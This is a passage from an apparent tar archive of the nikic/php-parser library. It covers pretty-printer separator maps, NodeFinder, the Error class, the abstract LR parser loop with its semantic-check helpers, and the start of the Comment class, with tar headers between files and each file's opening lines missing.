', ', 'Stmt_For->loop' => ', ', 'Stmt_Function->params' => ', ', 'Stmt_Global->vars' => ', ', 'Stmt_GroupUse->uses' => ', ', 'Stmt_Interface->extends' => ', ', 'Stmt_Match->arms' => ', ', 'Stmt_Property->props' => ', ', 'Stmt_StaticVar->vars' => ', ', 'Stmt_TraitUse->traits' => ', ', 'Stmt_TraitUseAdaptation_Precedence->insteadof' => ', ', 'Stmt_Unset->vars' => ', ', 'Stmt_Use->uses' => ', ', 'MatchArm->conds' => ', ', 'AttributeGroup->attrs' => ', ', // statement lists 'Expr_Closure->stmts' => "\n", 'Stmt_Case->stmts' => "\n", 'Stmt_Catch->stmts' => "\n", 'Stmt_Class->stmts' => "\n", 'Stmt_Enum->stmts' => "\n", 'Expr_PrintableNewAnonClass->stmts' => "\n", 'Stmt_Interface->stmts' => "\n", 'Stmt_Trait->stmts' => "\n", 'Stmt_ClassMethod->stmts' => "\n", 'Stmt_Declare->stmts' => "\n", 'Stmt_Do->stmts' => "\n", 'Stmt_ElseIf->stmts' => "\n", 'Stmt_Else->stmts' => "\n", 'Stmt_Finally->stmts' => "\n", 'Stmt_Foreach->stmts' => "\n", 'Stmt_For->stmts' => "\n", 'Stmt_Function->stmts' => "\n", 'Stmt_If->stmts' => "\n", 'Stmt_Namespace->stmts' => "\n", 'Stmt_Class->attrGroups' => "\n", 'Stmt_Enum->attrGroups' => "\n", 'Stmt_EnumCase->attrGroups' => "\n", 'Stmt_Interface->attrGroups' => "\n", 'Stmt_Trait->attrGroups' => "\n", 'Stmt_Function->attrGroups' => "\n", 'Stmt_ClassMethod->attrGroups' => "\n", 'Stmt_ClassConst->attrGroups' => "\n", 'Stmt_Property->attrGroups' => "\n", 'Expr_PrintableNewAnonClass->attrGroups' => ' ', 'Expr_Closure->attrGroups' => ' ', 'Expr_ArrowFunction->attrGroups' => ' ', 'Param->attrGroups' => ' ', 'Stmt_Switch->cases' => "\n", 'Stmt_TraitUse->adaptations' => "\n", 'Stmt_TryCatch->stmts' => "\n", 'Stmt_While->stmts' => "\n", // dummy for top-level context 'File->stmts' => "\n", ]; } protected function initializeEmptyListInsertionMap() { if ($this->emptyListInsertionMap) return; // TODO Insertion into empty statement lists. // [$find, $extraLeft, $extraRight] $this->emptyListInsertionMap = [ 'Expr_ArrowFunction->params' => ['(', '', ''], 'Expr_Closure->uses' => [')', ' use(', ')'], 'Expr_Closure->params' => ['(', '', ''], 'Expr_FuncCall->args' => ['(', '', ''], 'Expr_MethodCall->args' => ['(', '', ''], 'Expr_NullsafeMethodCall->args' => ['(', '', ''], 'Expr_New->args' => ['(', '', ''], 'Expr_PrintableNewAnonClass->args' => ['(', '', ''], 'Expr_PrintableNewAnonClass->implements' => [null, ' implements ', ''], 'Expr_StaticCall->args' => ['(', '', ''], 'Stmt_Class->implements' => [null, ' implements ', ''], 'Stmt_Enum->implements' => [null, ' implements ', ''], 'Stmt_ClassMethod->params' => ['(', '', ''], 'Stmt_Interface->extends' => [null, ' extends ', ''], 'Stmt_Function->params' => ['(', '', ''], /* These cannot be empty to start with: * Expr_Isset->vars * Stmt_Catch->types * Stmt_Const->consts * Stmt_ClassConst->consts * Stmt_Declare->declares * Stmt_Echo->exprs * Stmt_Global->vars * Stmt_GroupUse->uses * Stmt_Property->props * Stmt_StaticVar->vars * Stmt_TraitUse->traits * Stmt_TraitUseAdaptation_Precedence->insteadof * Stmt_Unset->vars * Stmt_Use->uses * UnionType->types */ /* TODO * Stmt_If->elseifs * Stmt_TryCatch->catches * Expr_Array->items * Expr_List->items * Stmt_For->init * Stmt_For->cond * Stmt_For->loop */ ]; } protected function initializeModifierChangeMap() { if ($this->modifierChangeMap) return; $this->modifierChangeMap = [ 'Stmt_ClassConst->flags' => \T_CONST, 'Stmt_ClassMethod->flags' => \T_FUNCTION, 'Stmt_Class->flags' => \T_CLASS, 'Stmt_Property->flags' => \T_VARIABLE, 'Param->flags' => \T_VARIABLE, //'Stmt_TraitUseAdaptation_Alias->newModifier' => 0, // TODO ]; // List of integer subnodes that are not modifiers: // Expr_Include->type // Stmt_GroupUse->type // Stmt_Use->type // Stmt_UseUse->type } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeFinder.php000064400000004624147577714370021535 0ustar00addVisitor($visitor); $traverser->traverse($nodes); return $visitor->getFoundNodes(); } /** * Find all nodes that are instances of a certain class. * * @param Node|Node[] $nodes Single node or array of nodes to search in * @param string $class Class name * * @return Node[] Found nodes (all instances of $class) */ public function findInstanceOf($nodes, string $class) : array { return $this->find($nodes, function ($node) use ($class) { return $node instanceof $class; }); } /** * Find first node satisfying a filter callback. * * @param Node|Node[] $nodes Single node or array of nodes to search in * @param callable $filter Filter callback: function(Node $node) : bool * * @return null|Node Found node (or null if none found) */ public function findFirst($nodes, callable $filter) { if (!is_array($nodes)) { $nodes = [$nodes]; } $visitor = new FirstFindingVisitor($filter); $traverser = new NodeTraverser; $traverser->addVisitor($visitor); $traverser->traverse($nodes); return $visitor->getFoundNode(); } /** * Find first node that is an instance of a certain class. * * @param Node|Node[] $nodes Single node or array of nodes to search in * @param string $class Class name * * @return null|Node Found node, which is an instance of $class (or null if none found) */ public function findFirstInstanceOf($nodes, string $class) { return $this->findFirst($nodes, function ($node) use ($class) { return $node instanceof $class; }); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Error.php000064400000011662147577714370020611 0ustar00rawMessage = $message; if (is_array($attributes)) { $this->attributes = $attributes; } else { $this->attributes = ['startLine' => $attributes]; } $this->updateMessage(); } /** * Gets the error message * * @return string Error message */ public function getRawMessage() : string { return $this->rawMessage; } /** * Gets the line the error starts in. * * @return int Error start line */ public function getStartLine() : int { return $this->attributes['startLine'] ?? -1; } /** * Gets the line the error ends in. * * @return int Error end line */ public function getEndLine() : int { return $this->attributes['endLine'] ?? -1; } /** * Gets the attributes of the node/token the error occurred at. * * @return array */ public function getAttributes() : array { return $this->attributes; } /** * Sets the attributes of the node/token the error occurred at. * * @param array $attributes */ public function setAttributes(array $attributes) { $this->attributes = $attributes; $this->updateMessage(); } /** * Sets the line of the PHP file the error occurred in. * * @param string $message Error message */ public function setRawMessage(string $message) { $this->rawMessage = $message; $this->updateMessage(); } /** * Sets the line the error starts in. * * @param int $line Error start line */ public function setStartLine(int $line) { $this->attributes['startLine'] = $line; $this->updateMessage(); } /** * Returns whether the error has start and end column information. * * For column information enable the startFilePos and endFilePos in the lexer options. * * @return bool */ public function hasColumnInfo() : bool { return isset($this->attributes['startFilePos'], $this->attributes['endFilePos']); } /** * Gets the start column (1-based) into the line where the error started. * * @param string $code Source code of the file * @return int */ public function getStartColumn(string $code) : int { if (!$this->hasColumnInfo()) { throw new \RuntimeException('Error does not have column information'); } return $this->toColumn($code, $this->attributes['startFilePos']); } /** * Gets the end column (1-based) into the line where the error ended. * * @param string $code Source code of the file * @return int */ public function getEndColumn(string $code) : int { if (!$this->hasColumnInfo()) { throw new \RuntimeException('Error does not have column information'); } return $this->toColumn($code, $this->attributes['endFilePos']); } /** * Formats message including line and column information. * * @param string $code Source code associated with the error, for calculation of the columns * * @return string Formatted message */ public function getMessageWithColumnInfo(string $code) : string { return sprintf( '%s from %d:%d to %d:%d', $this->getRawMessage(), $this->getStartLine(), $this->getStartColumn($code), $this->getEndLine(), $this->getEndColumn($code) ); } /** * Converts a file offset into a column. * * @param string $code Source code that $pos indexes into * @param int $pos 0-based position in $code * * @return int 1-based column (relative to start of line) */ private function toColumn(string $code, int $pos) : int { if ($pos > strlen($code)) { throw new \RuntimeException('Invalid position information'); } $lineStartPos = strrpos($code, "\n", $pos - strlen($code)); if (false === $lineStartPos) { $lineStartPos = -1; } return $pos - $lineStartPos; } /** * Updates the exception message after a change to rawMessage or rawLine. */ protected function updateMessage() { $this->message = $this->rawMessage; if (-1 === $this->getStartLine()) { $this->message .= ' on unknown line'; } else { $this->message .= ' on line ' . $this->getStartLine(); } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler.php000064400000000446147577714370022105 0ustar00lexer = $lexer; if (isset($options['throwOnError'])) { throw new \LogicException( '"throwOnError" is no longer supported, use "errorHandler" instead'); } $this->initReduceCallbacks(); } /** * Parses PHP code into a node tree. * * If a non-throwing error handler is used, the parser will continue parsing after an error * occurred and attempt to build a partial AST. * * @param string $code The source code to parse * @param ErrorHandler|null $errorHandler Error handler to use for lexer/parser errors, defaults * to ErrorHandler\Throwing. * * @return Node\Stmt[]|null Array of statements (or null non-throwing error handler is used and * the parser was unable to recover from an error). */ public function parse(string $code, ErrorHandler $errorHandler = null) { $this->errorHandler = $errorHandler ?: new ErrorHandler\Throwing; $this->lexer->startLexing($code, $this->errorHandler); $result = $this->doParse(); // Clear out some of the interior state, so we don't hold onto unnecessary // memory between uses of the parser $this->startAttributeStack = []; $this->endAttributeStack = []; $this->semStack = []; $this->semValue = null; return $result; } protected function doParse() { // We start off with no lookahead-token $symbol = self::SYMBOL_NONE; // The attributes for a node are taken from the first and last token of the node. // From the first token only the startAttributes are taken and from the last only // the endAttributes. Both are merged using the array union operator (+). $startAttributes = []; $endAttributes = []; $this->endAttributes = $endAttributes; // Keep stack of start and end attributes $this->startAttributeStack = []; $this->endAttributeStack = [$endAttributes]; // Start off in the initial state and keep a stack of previous states $state = 0; $stateStack = [$state]; // Semantic value stack (contains values of tokens and semantic action results) $this->semStack = []; // Current position in the stack(s) $stackPos = 0; $this->errorState = 0; for (;;) { //$this->traceNewState($state, $symbol); if ($this->actionBase[$state] === 0) { $rule = $this->actionDefault[$state]; } else { if ($symbol === self::SYMBOL_NONE) { // Fetch the next token id from the lexer and fetch additional info by-ref. // The end attributes are fetched into a temporary variable and only set once the token is really // shifted (not during read). Otherwise you would sometimes get off-by-one errors, when a rule is // reduced after a token was read but not yet shifted. $tokenId = $this->lexer->getNextToken($tokenValue, $startAttributes, $endAttributes); // map the lexer token id to the internally used symbols $symbol = $tokenId >= 0 && $tokenId < $this->tokenToSymbolMapSize ? $this->tokenToSymbol[$tokenId] : $this->invalidSymbol; if ($symbol === $this->invalidSymbol) { throw new \RangeException(sprintf( 'The lexer returned an invalid token (id=%d, value=%s)', $tokenId, $tokenValue )); } // Allow productions to access the start attributes of the lookahead token. $this->lookaheadStartAttributes = $startAttributes; //$this->traceRead($symbol); } $idx = $this->actionBase[$state] + $symbol; if ((($idx >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol) || ($state < $this->YY2TBLSTATE && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $symbol) >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol)) && ($action = $this->action[$idx]) !== $this->defaultAction) { /* * >= numNonLeafStates: shift and reduce * > 0: shift * = 0: accept * < 0: reduce * = -YYUNEXPECTED: error */ if ($action > 0) { /* shift */ //$this->traceShift($symbol); ++$stackPos; $stateStack[$stackPos] = $state = $action; $this->semStack[$stackPos] = $tokenValue; $this->startAttributeStack[$stackPos] = $startAttributes; $this->endAttributeStack[$stackPos] = $endAttributes; $this->endAttributes = $endAttributes; $symbol = self::SYMBOL_NONE; if ($this->errorState) { --$this->errorState; } if ($action < $this->numNonLeafStates) { continue; } /* $yyn >= numNonLeafStates means shift-and-reduce */ $rule = $action - $this->numNonLeafStates; } else { $rule = -$action; } } else { $rule = $this->actionDefault[$state]; } } for (;;) { if ($rule === 0) { /* accept */ //$this->traceAccept(); return $this->semValue; } elseif ($rule !== $this->unexpectedTokenRule) { /* reduce */ //$this->traceReduce($rule); try { $this->reduceCallbacks[$rule]($stackPos); } catch (Error $e) { if (-1 === $e->getStartLine() && isset($startAttributes['startLine'])) { $e->setStartLine($startAttributes['startLine']); } $this->emitError($e); // Can't recover from this type of error return null; } /* Goto - shift nonterminal */ $lastEndAttributes = $this->endAttributeStack[$stackPos]; $ruleLength = $this->ruleToLength[$rule]; $stackPos -= $ruleLength; $nonTerminal = $this->ruleToNonTerminal[$rule]; $idx = $this->gotoBase[$nonTerminal] + $stateStack[$stackPos]; if ($idx >= 0 && $idx < $this->gotoTableSize && $this->gotoCheck[$idx] === $nonTerminal) { $state = $this->goto[$idx]; } else { $state = $this->gotoDefault[$nonTerminal]; } ++$stackPos; $stateStack[$stackPos] = $state; $this->semStack[$stackPos] = $this->semValue; $this->endAttributeStack[$stackPos] = $lastEndAttributes; if ($ruleLength === 0) { // Empty productions use the start attributes of the lookahead token. $this->startAttributeStack[$stackPos] = $this->lookaheadStartAttributes; } } else { /* error */ switch ($this->errorState) { case 0: $msg = $this->getErrorMessage($symbol, $state); $this->emitError(new Error($msg, $startAttributes + $endAttributes)); // Break missing intentionally case 1: case 2: $this->errorState = 3; // Pop until error-expecting state uncovered while (!( (($idx = $this->actionBase[$state] + $this->errorSymbol) >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $this->errorSymbol) || ($state < $this->YY2TBLSTATE && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $this->errorSymbol) >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $this->errorSymbol) ) || ($action = $this->action[$idx]) === $this->defaultAction) { // Not totally sure about this if ($stackPos <= 0) { // Could not recover from error return null; } $state = $stateStack[--$stackPos]; //$this->tracePop($state); } //$this->traceShift($this->errorSymbol); ++$stackPos; $stateStack[$stackPos] = $state = $action; // We treat the error symbol as being empty, so we reset the end attributes // to the end attributes of the last non-error symbol $this->startAttributeStack[$stackPos] = $this->lookaheadStartAttributes; $this->endAttributeStack[$stackPos] = $this->endAttributeStack[$stackPos - 1]; $this->endAttributes = $this->endAttributeStack[$stackPos - 1]; break; case 3: if ($symbol === 0) { // Reached EOF without recovering from error return null; } //$this->traceDiscard($symbol); $symbol = self::SYMBOL_NONE; break 2; } } if ($state < $this->numNonLeafStates) { break; } /* >= numNonLeafStates means shift-and-reduce */ $rule = $state - $this->numNonLeafStates; } } throw new \RuntimeException('Reached end of parser loop'); } protected function emitError(Error $error) { $this->errorHandler->handleError($error); } /** * Format error message including expected tokens. * * @param int $symbol Unexpected symbol * @param int $state State at time of error * * @return string Formatted error message */ protected function getErrorMessage(int $symbol, int $state) : string { $expectedString = ''; if ($expected = $this->getExpectedTokens($state)) { $expectedString = ', expecting ' . implode(' or ', $expected); } return 'Syntax error, unexpected ' . $this->symbolToName[$symbol] . $expectedString; } /** * Get limited number of expected tokens in given state. * * @param int $state State * * @return string[] Expected tokens. If too many, an empty array is returned. */ protected function getExpectedTokens(int $state) : array { $expected = []; $base = $this->actionBase[$state]; foreach ($this->symbolToName as $symbol => $name) { $idx = $base + $symbol; if ($idx >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol || $state < $this->YY2TBLSTATE && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $symbol) >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol ) { if ($this->action[$idx] !== $this->unexpectedTokenRule && $this->action[$idx] !== $this->defaultAction && $symbol !== $this->errorSymbol ) { if (count($expected) === 4) { /* Too many expected tokens */ return []; } $expected[] = $name; } } } return $expected; } /* * Tracing functions used for debugging the parser. */ /* protected function traceNewState($state, $symbol) { echo '% State ' . $state . ', Lookahead ' . ($symbol == self::SYMBOL_NONE ? '--none--' : $this->symbolToName[$symbol]) . "\n"; } protected function traceRead($symbol) { echo '% Reading ' . $this->symbolToName[$symbol] . "\n"; } protected function traceShift($symbol) { echo '% Shift ' . $this->symbolToName[$symbol] . "\n"; } protected function traceAccept() { echo "% Accepted.\n"; } protected function traceReduce($n) { echo '% Reduce by (' . $n . ') ' . $this->productions[$n] . "\n"; } protected function tracePop($state) { echo '% Recovering, uncovered state ' . $state . "\n"; } protected function traceDiscard($symbol) { echo '% Discard ' . $this->symbolToName[$symbol] . "\n"; } */ /* * Helper functions invoked by semantic actions */ /** * Moves statements of semicolon-style namespaces into $ns->stmts and checks various error conditions. * * @param Node\Stmt[] $stmts * @return Node\Stmt[] */ protected function handleNamespaces(array $stmts) : array { $hasErrored = false; $style = $this->getNamespacingStyle($stmts); if (null === $style) { // not namespaced, nothing to do return $stmts; } elseif ('brace' === $style) { // For braced namespaces we only have to check that there are no invalid statements between the namespaces $afterFirstNamespace = false; foreach ($stmts as $stmt) { if ($stmt instanceof Node\Stmt\Namespace_) { $afterFirstNamespace = true; } elseif (!$stmt instanceof Node\Stmt\HaltCompiler && !$stmt instanceof Node\Stmt\Nop && $afterFirstNamespace && !$hasErrored) { $this->emitError(new Error( 'No code may exist outside of namespace {}', $stmt->getAttributes())); $hasErrored = true; // Avoid one error for every statement } } return $stmts; } else { // For semicolon namespaces we have to move the statements after a namespace declaration into ->stmts $resultStmts = []; $targetStmts =& $resultStmts; $lastNs = null; foreach ($stmts as $stmt) { if ($stmt instanceof Node\Stmt\Namespace_) { if ($lastNs !== null) { $this->fixupNamespaceAttributes($lastNs); } if ($stmt->stmts === null) { $stmt->stmts = []; $targetStmts =& $stmt->stmts; $resultStmts[] = $stmt; } else { // This handles the invalid case of mixed style namespaces $resultStmts[] = $stmt; $targetStmts =& $resultStmts; } $lastNs = $stmt; } elseif ($stmt instanceof Node\Stmt\HaltCompiler) { // __halt_compiler() is not moved into the namespace $resultStmts[] = $stmt; } else { $targetStmts[] = $stmt; } } if ($lastNs !== null) { $this->fixupNamespaceAttributes($lastNs); } return $resultStmts; } } private function fixupNamespaceAttributes(Node\Stmt\Namespace_ $stmt) { // We moved the statements into the namespace node, as such the end of the namespace node // needs to be extended to the end of the statements. if (empty($stmt->stmts)) { return; } // We only move the builtin end attributes here. This is the best we can do with the // knowledge we have. $endAttributes = ['endLine', 'endFilePos', 'endTokenPos']; $lastStmt = $stmt->stmts[count($stmt->stmts) - 1]; foreach ($endAttributes as $endAttribute) { if ($lastStmt->hasAttribute($endAttribute)) { $stmt->setAttribute($endAttribute, $lastStmt->getAttribute($endAttribute)); } } } /** * Determine namespacing style (semicolon or brace) * * @param Node[] $stmts Top-level statements. * * @return null|string One of "semicolon", "brace" or null (no namespaces) */ private function getNamespacingStyle(array $stmts) { $style = null; $hasNotAllowedStmts = false; foreach ($stmts as $i => $stmt) { if ($stmt instanceof Node\Stmt\Namespace_) { $currentStyle = null === $stmt->stmts ? 'semicolon' : 'brace'; if (null === $style) { $style = $currentStyle; if ($hasNotAllowedStmts) { $this->emitError(new Error( 'Namespace declaration statement has to be the very first statement in the script', $stmt->getLine() // Avoid marking the entire namespace as an error )); } } elseif ($style !== $currentStyle) { $this->emitError(new Error( 'Cannot mix bracketed namespace declarations with unbracketed namespace declarations', $stmt->getLine() // Avoid marking the entire namespace as an error )); // Treat like semicolon style for namespace normalization return 'semicolon'; } continue; } /* declare(), __halt_compiler() and nops can be used before a namespace declaration */ if ($stmt instanceof Node\Stmt\Declare_ || $stmt instanceof Node\Stmt\HaltCompiler || $stmt instanceof Node\Stmt\Nop) { continue; } /* There may be a hashbang line at the very start of the file */ if ($i === 0 && $stmt instanceof Node\Stmt\InlineHTML && preg_match('/\A#!.*\r?\n\z/', $stmt->value)) { continue; } /* Everything else if forbidden before namespace declarations */ $hasNotAllowedStmts = true; } return $style; } /** * Fix up parsing of static property calls in PHP 5. * * In PHP 5 A::$b[c][d] and A::$b[c][d]() have very different interpretation. The former is * interpreted as (A::$b)[c][d], while the latter is the same as A::{$b[c][d]}(). We parse the * latter as the former initially and this method fixes the AST into the correct form when we * encounter the "()". * * @param Node\Expr\StaticPropertyFetch|Node\Expr\ArrayDimFetch $prop * @param Node\Arg[] $args * @param array $attributes * * @return Expr\StaticCall */ protected function fixupPhp5StaticPropCall($prop, array $args, array $attributes) : Expr\StaticCall { if ($prop instanceof Node\Expr\StaticPropertyFetch) { $name = $prop->name instanceof VarLikeIdentifier ? $prop->name->toString() : $prop->name; $var = new Expr\Variable($name, $prop->name->getAttributes()); return new Expr\StaticCall($prop->class, $var, $args, $attributes); } elseif ($prop instanceof Node\Expr\ArrayDimFetch) { $tmp = $prop; while ($tmp->var instanceof Node\Expr\ArrayDimFetch) { $tmp = $tmp->var; } /** @var Expr\StaticPropertyFetch $staticProp */ $staticProp = $tmp->var; // Set start attributes to attributes of innermost node $tmp = $prop; $this->fixupStartAttributes($tmp, $staticProp->name); while ($tmp->var instanceof Node\Expr\ArrayDimFetch) { $tmp = $tmp->var; $this->fixupStartAttributes($tmp, $staticProp->name); } $name = $staticProp->name instanceof VarLikeIdentifier ? $staticProp->name->toString() : $staticProp->name; $tmp->var = new Expr\Variable($name, $staticProp->name->getAttributes()); return new Expr\StaticCall($staticProp->class, $prop, $args, $attributes); } else { throw new \Exception; } } protected function fixupStartAttributes(Node $to, Node $from) { $startAttributes = ['startLine', 'startFilePos', 'startTokenPos']; foreach ($startAttributes as $startAttribute) { if ($from->hasAttribute($startAttribute)) { $to->setAttribute($startAttribute, $from->getAttribute($startAttribute)); } } } protected function handleBuiltinTypes(Name $name) { $builtinTypes = [ 'bool' => true, 'int' => true, 'float' => true, 'string' => true, 'iterable' => true, 'void' => true, 'object' => true, 'null' => true, 'false' => true, 'mixed' => true, 'never' => true, ]; if (!$name->isUnqualified()) { return $name; } $lowerName = $name->toLowerString(); if (!isset($builtinTypes[$lowerName])) { return $name; } return new Node\Identifier($lowerName, $name->getAttributes()); } /** * Get combined start and end attributes at a stack location * * @param int $pos Stack location * * @return array Combined start and end attributes */ protected function getAttributesAt(int $pos) : array { return $this->startAttributeStack[$pos] + $this->endAttributeStack[$pos]; } protected function getFloatCastKind(string $cast): int { $cast = strtolower($cast); if (strpos($cast, 'float') !== false) { return Double::KIND_FLOAT; } if (strpos($cast, 'real') !== false) { return Double::KIND_REAL; } return Double::KIND_DOUBLE; } protected function parseLNumber($str, $attributes, $allowInvalidOctal = false) { try { return LNumber::fromString($str, $attributes, $allowInvalidOctal); } catch (Error $error) { $this->emitError($error); // Use dummy value return new LNumber(0, $attributes); } } /** * Parse a T_NUM_STRING token into either an integer or string node. * * @param string $str Number string * @param array $attributes Attributes * * @return LNumber|String_ Integer or string node. */ protected function parseNumString(string $str, array $attributes) { if (!preg_match('/^(?:0|-?[1-9][0-9]*)$/', $str)) { return new String_($str, $attributes); } $num = +$str; if (!is_int($num)) { return new String_($str, $attributes); } return new LNumber($num, $attributes); } protected function stripIndentation( string $string, int $indentLen, string $indentChar, bool $newlineAtStart, bool $newlineAtEnd, array $attributes ) { if ($indentLen === 0) { return $string; } $start = $newlineAtStart ? '(?:(?<=\n)|\A)' : '(?<=\n)'; $end = $newlineAtEnd ? '(?:(?=[\r\n])|\z)' : '(?=[\r\n])'; $regex = '/' . $start . '([ \t]*)(' . $end . ')?/'; return preg_replace_callback( $regex, function ($matches) use ($indentLen, $indentChar, $attributes) { $prefix = substr($matches[1], 0, $indentLen); if (false !== strpos($prefix, $indentChar === " " ? "\t" : " ")) { $this->emitError(new Error( 'Invalid indentation - tabs and spaces cannot be mixed', $attributes )); } elseif (strlen($prefix) < $indentLen && !isset($matches[2])) { $this->emitError(new Error( 'Invalid body indentation level ' . '(expecting an indentation level of at least ' . $indentLen . ')', $attributes )); } return substr($matches[0], strlen($prefix)); }, $string ); } protected function parseDocString( string $startToken, $contents, string $endToken, array $attributes, array $endTokenAttributes, bool $parseUnicodeEscape ) { $kind = strpos($startToken, "'") === false ? String_::KIND_HEREDOC : String_::KIND_NOWDOC; $regex = '/\A[bB]?<<<[ \t]*[\'"]?([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)[\'"]?(?:\r\n|\n|\r)\z/'; $result = preg_match($regex, $startToken, $matches); assert($result === 1); $label = $matches[1]; $result = preg_match('/\A[ \t]*/', $endToken, $matches); assert($result === 1); $indentation = $matches[0]; $attributes['kind'] = $kind; $attributes['docLabel'] = $label; $attributes['docIndentation'] = $indentation; $indentHasSpaces = false !== strpos($indentation, " "); $indentHasTabs = false !== strpos($indentation, "\t"); if ($indentHasSpaces && $indentHasTabs) { $this->emitError(new Error( 'Invalid indentation - tabs and spaces cannot be mixed', $endTokenAttributes )); // Proceed processing as if this doc string is not indented $indentation = ''; } $indentLen = \strlen($indentation); $indentChar = $indentHasSpaces ? " " : "\t"; if (\is_string($contents)) { if ($contents === '') { return new String_('', $attributes); } $contents = $this->stripIndentation( $contents, $indentLen, $indentChar, true, true, $attributes ); $contents = preg_replace('~(\r\n|\n|\r)\z~', '', $contents); if ($kind === String_::KIND_HEREDOC) { $contents = String_::parseEscapeSequences($contents, null, $parseUnicodeEscape); } return new String_($contents, $attributes); } else { assert(count($contents) > 0); if (!$contents[0] instanceof Node\Scalar\EncapsedStringPart) { // If there is no leading encapsed string part, pretend there is an empty one $this->stripIndentation( '', $indentLen, $indentChar, true, false, $contents[0]->getAttributes() ); } $newContents = []; foreach ($contents as $i => $part) { if ($part instanceof Node\Scalar\EncapsedStringPart) { $isLast = $i === \count($contents) - 1; $part->value = $this->stripIndentation( $part->value, $indentLen, $indentChar, $i === 0, $isLast, $part->getAttributes() ); $part->value = String_::parseEscapeSequences($part->value, null, $parseUnicodeEscape); if ($isLast) { $part->value = preg_replace('~(\r\n|\n|\r)\z~', '', $part->value); } if ('' === $part->value) { continue; } } $newContents[] = $part; } return new Encapsed($newContents, $attributes); } } /** * Create attributes for a zero-length common-capturing nop. * * @param Comment[] $comments * @return array */ protected function createCommentNopAttributes(array $comments) { $comment = $comments[count($comments) - 1]; $commentEndLine = $comment->getEndLine(); $commentEndFilePos = $comment->getEndFilePos(); $commentEndTokenPos = $comment->getEndTokenPos(); $attributes = ['comments' => $comments]; if (-1 !== $commentEndLine) { $attributes['startLine'] = $commentEndLine; $attributes['endLine'] = $commentEndLine; } if (-1 !== $commentEndFilePos) { $attributes['startFilePos'] = $commentEndFilePos + 1; $attributes['endFilePos'] = $commentEndFilePos; } if (-1 !== $commentEndTokenPos) { $attributes['startTokenPos'] = $commentEndTokenPos + 1; $attributes['endTokenPos'] = $commentEndTokenPos; } return $attributes; } protected function checkModifier($a, $b, $modifierPos) { // Jumping through some hoops here because verifyModifier() is also used elsewhere try { Class_::verifyModifier($a, $b); } catch (Error $error) { $error->setAttributes($this->getAttributesAt($modifierPos)); $this->emitError($error); } } protected function checkParam(Param $node) { if ($node->variadic && null !== $node->default) { $this->emitError(new Error( 'Variadic parameter cannot have a default value', $node->default->getAttributes() )); } } protected function checkTryCatch(TryCatch $node) { if (empty($node->catches) && null === $node->finally) { $this->emitError(new Error( 'Cannot use try without catch or finally', $node->getAttributes() )); } } protected function checkNamespace(Namespace_ $node) { if (null !== $node->stmts) { foreach ($node->stmts as $stmt) { if ($stmt instanceof Namespace_) { $this->emitError(new Error( 'Namespace declarations cannot be nested', $stmt->getAttributes() )); } } } } private function checkClassName($name, $namePos) { if (null !== $name && $name->isSpecialClassName()) { $this->emitError(new Error( sprintf('Cannot use \'%s\' as class name as it is reserved', $name), $this->getAttributesAt($namePos) )); } } private function checkImplementedInterfaces(array $interfaces) { foreach ($interfaces as $interface) { if ($interface->isSpecialClassName()) { $this->emitError(new Error( sprintf('Cannot use \'%s\' as interface name as it is reserved', $interface), $interface->getAttributes() )); } } } protected function checkClass(Class_ $node, $namePos) { $this->checkClassName($node->name, $namePos); if ($node->extends && $node->extends->isSpecialClassName()) { $this->emitError(new Error( sprintf('Cannot use \'%s\' as class name as it is reserved', $node->extends), $node->extends->getAttributes() )); } $this->checkImplementedInterfaces($node->implements); } protected function checkInterface(Interface_ $node, $namePos) { $this->checkClassName($node->name, $namePos); $this->checkImplementedInterfaces($node->extends); } protected function checkEnum(Enum_ $node, $namePos) { $this->checkClassName($node->name, $namePos); $this->checkImplementedInterfaces($node->implements); } protected function checkClassMethod(ClassMethod $node, $modifierPos) { if ($node->flags & Class_::MODIFIER_STATIC) { switch ($node->name->toLowerString()) { case '__construct': $this->emitError(new Error( sprintf('Constructor %s() cannot be static', $node->name), $this->getAttributesAt($modifierPos))); break; case '__destruct': $this->emitError(new Error( sprintf('Destructor %s() cannot be static', $node->name), $this->getAttributesAt($modifierPos))); break; case '__clone': $this->emitError(new Error( sprintf('Clone method %s() cannot be static', $node->name), $this->getAttributesAt($modifierPos))); break; } } if ($node->flags & Class_::MODIFIER_READONLY) { $this->emitError(new Error( sprintf('Method %s() cannot be readonly', $node->name), $this->getAttributesAt($modifierPos))); } } protected function checkClassConst(ClassConst $node, $modifierPos) { if ($node->flags & Class_::MODIFIER_STATIC) { $this->emitError(new Error( "Cannot use 'static' as constant modifier", $this->getAttributesAt($modifierPos))); } if ($node->flags & Class_::MODIFIER_ABSTRACT) { $this->emitError(new Error( "Cannot use 'abstract' as constant modifier", $this->getAttributesAt($modifierPos))); } if ($node->flags & Class_::MODIFIER_READONLY) { $this->emitError(new Error( "Cannot use 'readonly' as constant modifier", $this->getAttributesAt($modifierPos))); } } protected function checkProperty(Property $node, $modifierPos) { if ($node->flags & Class_::MODIFIER_ABSTRACT) { $this->emitError(new Error('Properties cannot be declared abstract', $this->getAttributesAt($modifierPos))); } if ($node->flags & Class_::MODIFIER_FINAL) { $this->emitError(new Error('Properties cannot be declared final', $this->getAttributesAt($modifierPos))); } } protected function checkUseUse(UseUse $node, $namePos) { if ($node->alias && $node->alias->isSpecialClassName()) { $this->emitError(new Error( sprintf( 'Cannot use %s as %s because \'%2$s\' is a special class name', $node->name, $node->alias ), $this->getAttributesAt($namePos) )); } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Builder.php000064400000000313147577714370021075 0ustar00text = $text; $this->startLine = $startLine; $this->startFilePos = $startFilePos; $this->startTokenPos = $startTokenPos; $this->endLine = $endLine; $this->endFilePos = $endFilePos; $this->endTokenPos = $endTokenPos; } /** * Gets the comment text. * * @return string The comment text (including comment delimiters like /*) */ public function getText() : string { return $this->text; } /** * Gets the line number the comment started on. * * @return int Line number (or -1 if 